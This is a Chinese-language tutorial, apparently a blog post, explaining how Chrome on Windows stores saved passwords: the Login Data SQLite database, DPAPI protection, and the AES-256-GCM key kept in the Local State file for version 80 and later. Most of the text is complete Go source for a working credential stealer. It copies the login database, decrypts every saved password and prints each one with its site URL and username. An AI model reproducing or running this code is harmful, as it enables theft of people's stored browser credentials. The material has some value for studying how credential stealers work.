工具
从理解上来说,可以参考一下HackBrowerData
因为支持全平台
windows DPAPI机制

查看密码的时候,需要凭证
chrome密码文件存放位置
%LocalAppData%\Google\Chrome\User Data\Default\Login Data
特性
如果用二进制文本编辑器查看会发现他其实是一个sqlite数据库文件
便可以使用工具SQLiteStudio可以打开他
在logins表中的data数据可以看到有用户名和网址,但是却没有密码但是密码的二进制实际上是有值的如果当前用户正在使用google是无法打开数据库的,所以我们可以复制一份出来
80.X版本之前chrome解密
var(dllcrypt32, _ = syscall.LoadLibrary("Crypt32.dll")procDecryptData, _ = syscall.GetProcAddress(dllcrypt32, "CryptUnprotectData")localStatePath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"dataPath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data")func Decrypt(data []byte) ([]byte, error) {var outblob DATA_BLOBr, _, err := syscall.Syscall9(procDecryptData, 7, uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)), 0, 0) //procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)))if r == 0 {return nil, err}defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))return outblob.ToByteArray(), nil}func checkFileExist(filePath string) bool {if _, err := os.Stat(filePath); os.IsNotExist(err) {return false} else {return true}}func copyFileToDirectory(pathSourceFile string, pathDestFile string) error {sourceFile, err := os.Open(pathSourceFile)if err != nil {return err}defer sourceFile.Close()destFile, err := os.Create(pathDestFile)if err != nil {return err}defer destFile.Close()_, err = io.Copy(destFile, sourceFile)if err != nil {return err}err = destFile.Sync()if err != nil {return err}sourceFileInfo, err := sourceFile.Stat()if err != nil {return err}destFileInfo, err := destFile.Stat()if err != nil {return err}if sourceFileInfo.Size() == destFileInfo.Size() {} else {return err}return nil}func main(){if !checkFileExist(dataPath) {os.Exit(0)}err := copyFileToDirectory(dataPath, os.Getenv("APPDATA")+"\\tempfile.dat")if err != nil {log.Fatal(err)}db, err := sql.Open("sqlite3", os.Getenv("APPDATA")+"\\tempfile.dat")if err != nil {log.Fatal(err)}defer db.Close()rows, err := db.Query("select origin_url, username_value, password_value from logins")if err != nil {log.Fatal(err)}defer rows.Close()for rows.Next(){var URL stringvar USERNAME stringvar PASSWORD stringerr = rows.Scan(&URL, &USERNAME, &PASSWORD)if err != nil {log.Fatal(err)}pass, err := Decrypt([]byte(PASSWORD))if err != nil {log.Fatal(err)}if URL != "" && URL != "" && string(pass) != "" {fmt.Println(URL, USERNAME, string(pass))}}}
不过版本限制是80.x版本之前
80版本之后chrome
判断是否是新版chrome
新版chrome加密后值前面有没有v10或v11字段
key的初始化


尝试从local state提取密钥
并且可以看到kDPAPIKeyPrefix实际上就是一个字符串”DPAPI”
然后就是进行DPAPI的解密,最后就是如果key不在local state中或者DPAPI解密失败,就会重新生存一个key
key初始化时候的动作:
- 从local state文件中提取key
- base64解密key
- 去除key开头的”DPAPI”
- DPAPI解密,得到最终的key
跟进GetString函数的参数kOsCryptEncryptedKeyPrefName

知道key存放在local state文件os_crypt.encrypted_key字段中
local state文件就是在本地默认目录中
%LocalAppData%\Google\Chrome\User Data\Local State本质上就是一个JSON格式的文件夹
明文加密方式

密钥加密后前缀是”v10”
密钥和NONCE/IV的长度分别是32字节和12字节
NONCE/IV 如果我不希望相同的明文通过密钥加密出来的密文是相同的 解决办法就是IV(初始向量)或者nonce(只使用一次的数值) 因为对于每条加密消息,我们都可以使用不同的byte字符串。
再往下翻阅,便是解密函数
encrypted_value的前缀v10后12字节的NONCE(IV),然后再是真正的密文。
chrome使用的是AES-256-GCM的AEAD对称加密算法
自动化抓取密码
首先从Local state获取key
func getMasterKey() ([]byte, error) {//获取local state中的未解密的keyvar masterKey []bytejsonFile, err := os.Open(localStatePath)if err != nil {return masterKey, err}defer jsonFile.Close()byteValue, err := ioutil.ReadAll(jsonFile)if err != nil {return masterKey, err}var result map[string]interface{}json.Unmarshal([]byte(byteValue), &result)roughKey := result["os_crypt"].(map[string]interface{})["encrypted_key"].(string)decodedKey, err := base64.StdEncoding.DecodeString(roughKey)stringKey := string(decodedKey)//去除DPAPI字符串stringKey = strings.Trim(stringKey, "DPAPI")//DPAPI解密masterKey, err = Decrypt([]byte(stringKey))if err != nil {return masterKey, err}return masterKey, nil}
因为chrome版本在80前后,是两套解密函数
所以要进行判断,这里以判断开头是否是”v10”来进行判断
if strings.HasPrefix(PASSWORD, "v10") {PASSWORD = strings.Trim(PASSWORD, "v10")if string(masterKey) != "" {ciphertext := []byte(PASSWORD)c, err := aes.NewCipher(masterKey)if err != nil {fmt.Println(err)}gcm, err := cipher.NewGCM(c)if err != nil {fmt.Println(err)}nonceSize := gcm.NonceSize()if len(ciphertext) < nonceSize {fmt.Println(err)}nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]plaintext, err := gcm.Open(nil, nonce, ciphertext, nil)if err != nil {fmt.Println(err)}if string(plaintext) != "" {fmt.Println("目标URL:\n", URL, "\n", "用户名:\n", USERNAME, "\n", "密码:\n", string(plaintext))}} else {mkey, err := getMasterKey()if err != nil {fmt.Println(err)}masterKey = mkey}} else {pass, err := Decrypt([]byte(PASSWORD))if err != nil {log.Fatal(err)}if URL != "" && URL != "" && string(pass) != "" {fmt.Println(URL, USERNAME, string(pass))}}
package mainimport ("crypto/aes""crypto/cipher""database/sql""encoding/base64""encoding/json""fmt"_ "github.com/mattn/go-sqlite3""io""io/ioutil""log""os""strings""syscall""unsafe")var (dllcrypt32, _ = syscall.LoadLibrary("Crypt32.dll")dllkernel32 = syscall.NewLazyDLL("Kernel32.dll")procDecryptData, _ = syscall.GetProcAddress(dllcrypt32, "CryptUnprotectData")procLocalFree = dllkernel32.NewProc("LocalFree")dataPath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"localStatePath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"masterKey []byte)type DATA_BLOB struct {cbData uint32pbData *byte}func NewBlob(d []byte) *DATA_BLOB {if len(d) == 0 {return &DATA_BLOB{}}return &DATA_BLOB{pbData: &d[0],cbData: uint32(len(d)),}}func (b *DATA_BLOB) ToByteArray() []byte {d := make([]byte, b.cbData)copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])return d}func Decrypt(data []byte) ([]byte, error) {var outblob DATA_BLOBr, _, err := syscall.Syscall9(procDecryptData, 7, uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)), 0, 0) //procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)))if r == 0 {return nil, err}defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))return outblob.ToByteArray(), nil}func copyFileToDirectory(pathSourceFile string, pathDestFile string) error {sourceFile, err := os.Open(pathSourceFile)if err != nil {return err}defer sourceFile.Close()destFile, err := os.Create(pathDestFile)if err != nil {return err}defer destFile.Close()_, err = io.Copy(destFile, sourceFile)if err != nil {return err}err = destFile.Sync()if err != nil {return err}sourceFileInfo, err := sourceFile.Stat()if err != nil {return err}destFileInfo, err := destFile.Stat()if err != nil {return err}if sourceFileInfo.Size() == destFileInfo.Size() {} else {return err}return nil}func checkFileExist(filePath string) bool {if _, err := os.Stat(filePath); os.IsNotExist(err) {return false} else {return true}}func getMasterKey() ([]byte, error) {var masterKey []bytejsonFile, err := os.Open(localStatePath)if err != nil {return masterKey, err}defer jsonFile.Close()byteValue, err := ioutil.ReadAll(jsonFile)if err != nil {return masterKey, err}var result map[string]interface{}json.Unmarshal([]byte(byteValue), &result)roughKey := result["os_crypt"].(map[string]interface{})["encrypted_key"].(string)decodedKey, err := base64.StdEncoding.DecodeString(roughKey)stringKey := string(decodedKey)stringKey = strings.Trim(stringKey, "DPAPI")masterKey, err = Decrypt([]byte(stringKey))if err != nil {return masterKey, err}return masterKey, nil}func main() {if !checkFileExist(dataPath) {os.Exit(0)}err := copyFileToDirectory(dataPath, os.Getenv("APPDATA")+"\\tempfile.dat")if err != nil {log.Fatal(err)}db, err := sql.Open("sqlite3", os.Getenv("APPDATA")+"\\tempfile.dat")if err != nil {log.Fatal(err)}defer db.Close()rows, err := db.Query("select origin_url, username_value, password_value from logins")if err != nil {log.Fatal(err)}defer rows.Close()for rows.Next() {var URL stringvar USERNAME stringvar PASSWORD stringerr = rows.Scan(&URL, &USERNAME, &PASSWORD)if err != nil {log.Fatal(err)}//strings.HasPrefix函数用来检测字符串是否以指定的前缀开头if strings.HasPrefix(PASSWORD, "v10") {PASSWORD = strings.Trim(PASSWORD, "v10")if string(masterKey) != "" {ciphertext := []byte(PASSWORD)c, err := aes.NewCipher(masterKey)if err != nil {fmt.Println(err)}gcm, err := cipher.NewGCM(c)if err != nil {fmt.Println(err)}nonceSize := gcm.NonceSize()if len(ciphertext) < nonceSize {fmt.Println(err)}nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]plaintext, err := gcm.Open(nil, nonce, ciphertext, nil)if err != nil {fmt.Println(err)}if string(plaintext) != "" {fmt.Println("目标URL:\n", URL, "\n", "用户名:\n", USERNAME, "\n", "密码:\n", string(plaintext))}} else {mkey, err := getMasterKey()if err != nil {fmt.Println(err)}masterKey = mkey}} else {pass, err := Decrypt([]byte(PASSWORD))if err != nil {log.Fatal(err)}if URL != "" && URL != "" && string(pass) != "" {fmt.Println(URL, USERNAME, string(pass))}}}err = rows.Err()if err != nil {log.Fatal(err)}}
